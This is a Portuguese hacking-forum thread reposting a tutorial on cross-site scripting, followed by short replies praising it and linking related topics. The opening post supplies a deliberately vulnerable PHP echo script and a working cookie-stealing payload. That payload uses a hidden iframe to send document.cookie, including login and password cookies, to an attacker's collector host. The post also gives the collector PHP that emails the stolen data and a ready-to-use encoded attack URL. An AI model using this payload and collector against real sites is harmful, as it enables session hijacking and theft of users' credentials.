Resultados 1 a 8 de 8
  1. #1
    White Hat Administrador Avatar de fvox
    Data de Ingresso
    Sep 2005
    Localização
    São Paulo - SP
    Posts
    4.428

    [Matéria] XSS - Um exemplo de ataque

    Matéria original escrita por Ragen no Vivaolinux

    XSS - Um exemplo de ataque
    Vamos direto ao ponto. Um exemplo de código PHP vulnerível:
    Código:
    <?php
    /*
     * Um simples exemplo de cookies que geralmente
     * são utilizados em sistemas web.
     * PHPSESSID -> SID padrão da configuração do PHP
     * login e senha -> cookies ficticios
     */
    setcookie('PHPSSESID', 'meu_sid');
    setcookie('login', 'meu_login');
    setcookie('senha', 'minha_senha');
    
    /**
     * Parte vulnerível do código: Imprime os dados passados
     * pelo usuírio sem nenhum tratamento
     */
    echo $_GET['var'];
    
    ?>
    O nosso objetivo
    Eis o JavaScript que iremos atravessar para nosso alvo através da variível $_GET['var'], do script PHP acima:
    Código:
    <script>
      document.write('<iframe width=1 height=1
    src=http://www.coletor.com/rc.php?xss='+document.cookie.replace(/ /g,'')+'></iframe>')
    </script>
    Breve explicação meio longa
    Nosso objetivo é atravessar o JavaScript citado acima mas, em outras palavras, explicando o JavaScript, nosso objetivo é simplesmente capturar os dados de cookie do http://www.alvo.com e enviar para o http://www.coletor.com.

    Utilizando cookies em JavaScript
    A instrução document.cookie retorna os cookies da pígina HTML. Ou seja, um código <script>alert(document.cookie)</script> no script PHP acima irí produzir o seguinte alerta de saàda:

    PHPSSESID=meu_sid; login=meu_login; senha=minha_senha

    Complementando a instrução com "replace", document.cookie.replace(/ /g,''), iremos remover os caracteres em branco do alerta de saàda citado acima. Ou seja, agora teremos:

    PHPSSESID=meu_sid;login=meu_login;senha=minha_senh a

    O coletor de dados
    Sob nosso domànio temos o site http://www.coletor.com, que por sua vez receberí os dados do cookie enviados pelo nosso script através do script rc.php que enviarí os dados para meu@email.com:
    Código:
    <?php
    if ($_GET['xss']) {
       mail('meu@email.com',' Dados capturados', $_GET['xss']);
    }
    ?>
    Testando
    Acesse a URL:

    http://www.alvo.com/codigo_vulneravel.php?var=<script>document.write('<iframe%
    20width=1%20height=1%20src=http://www.coletor.com/rc.php?xss='%2B
    document.cookie.replace(/%20/g,'')%2B'></iframe>')</script>

    Nota para tradução da URL:
    • %20: Caractere em branco[/*:m:4slni8a8]
    • %2B: Sinal +[/*:m:4slni8a8]

    Se nenhum erro do interpretador do JavaScript for acusado em seu navegador, que geralmente é exibido no rodapé da pígina (ou alertas mais explàcitos quando se possui depuradores de JavaScript), verifique o meu@email.com.


    Achei esse artigo muito interessante, principalmente por causa dos exemplos de PHP.
    Bons estudos
    Acha que está caindo na insanidade? Mergulhe!

    Twitter | Blog | Facebook | Github

  2. #2
    Gray Hat Avatar de Douglas Almeida
    Data de Ingresso
    Dec 2005
    Localização
    Belém - Pará
    Posts
    2.449
    O material é muito bem feito parabéns.

    Dificilmente se encontra um material detalhado com este.

    Abraço!

  3. #3
    Wannabe
    Data de Ingresso
    Dec 2006
    Posts
    755
    Muito bom Fvox.

    Legal a matéria postada por você, eu acho um dos assuntos (XSS) que menos tem tópicos no fórum.

    Temos aqui também outras post sobre xss.

    Quem ficou interessado sobre o assunto da uma olhadinha

    Vàdeo: http://www.forum-invaders.com.br/phpBB/ ... ?t=8544440

    Tópico: http://www.forum-invaders.com.br/phpBB/ ... ?t=8542968

    Então é isso pessoal.

    ...F1reW4r
    Adivinha doutor quem tá de volta na praça? (8)

  4. #4
    Membro
    Data de Ingresso
    Oct 2007
    Posts
    355
    pior que é dificil msm axar tutos sobre XXS no forum.

    Muiito bom msm esse tópico. Odeio ler tutos q nao explica praque que serve os comando ou tags e etc. Ao contrarrio desse que ta bem explicado!

    Valews!

    TeE! +

  5. #5
    Membro
    Data de Ingresso
    Jul 2007
    Localização
    SERGIPE
    Posts
    168
    ALguem poderia arrumar os links das outras matérias no forum?

    srsrsr

    Na busca não tô achando! : )
    http://img169.imageshack.us/img169/4...letsignjg8.jpg
    "...Pra ser sincero... quem engana, só engana a sí mesmo..." - [Engenheiros do Havaii]

  6. #6
    Excelente fvox
    muito bom mesmo
    valew
    t+
    Zelon de Volta
    Diga não ao militarismo e sim ao Hacking xD heheh

  7. #7
    Administradora Administrador Avatar de Luzinha
    Data de Ingresso
    Jun 2005
    Posts
    7.827
    Citação Postado originalmente por kalet
    ALguem poderia arrumar os links das outras matérias no forum?

    srsrsr

    Na busca não tô achando! : )
    Vàdeo: http://www.forum-invaders.com.br/phpBB/ ... ?t=8544440

    Tópico: http://www.forum-invaders.com.br/phpBB/ ... ?t=8542968

  8. #8
    Newbie
    Data de Ingresso
    Dec 2007
    Posts
    47
    sYnyst3r, Valeu!! :mrgreen:

Tópicos Similares

  1. Exemplo simples de ataque hacker
    Por K00D13 no fórum Matérias e Artigos
    Respostas: 93
    Último Post: 02 Dec 2011, 18:30
  2. Lista Ligada - Exemplo
    Por Localhost no fórum C,C++
    Respostas: 5
    Último Post: 25 Jan 2010, 11:46
  3. Exemplo de criptografia
    Por ALLas0 no fórum Programação
    Respostas: 0
    Último Post: 06 Oct 2005, 20:49

Permissões de Postagem

  • Você não pode iniciar novos tópicos
  • Você não pode enviar respostas
  • Você não pode enviar anexos
  • Você não pode editar suas mensagens
  •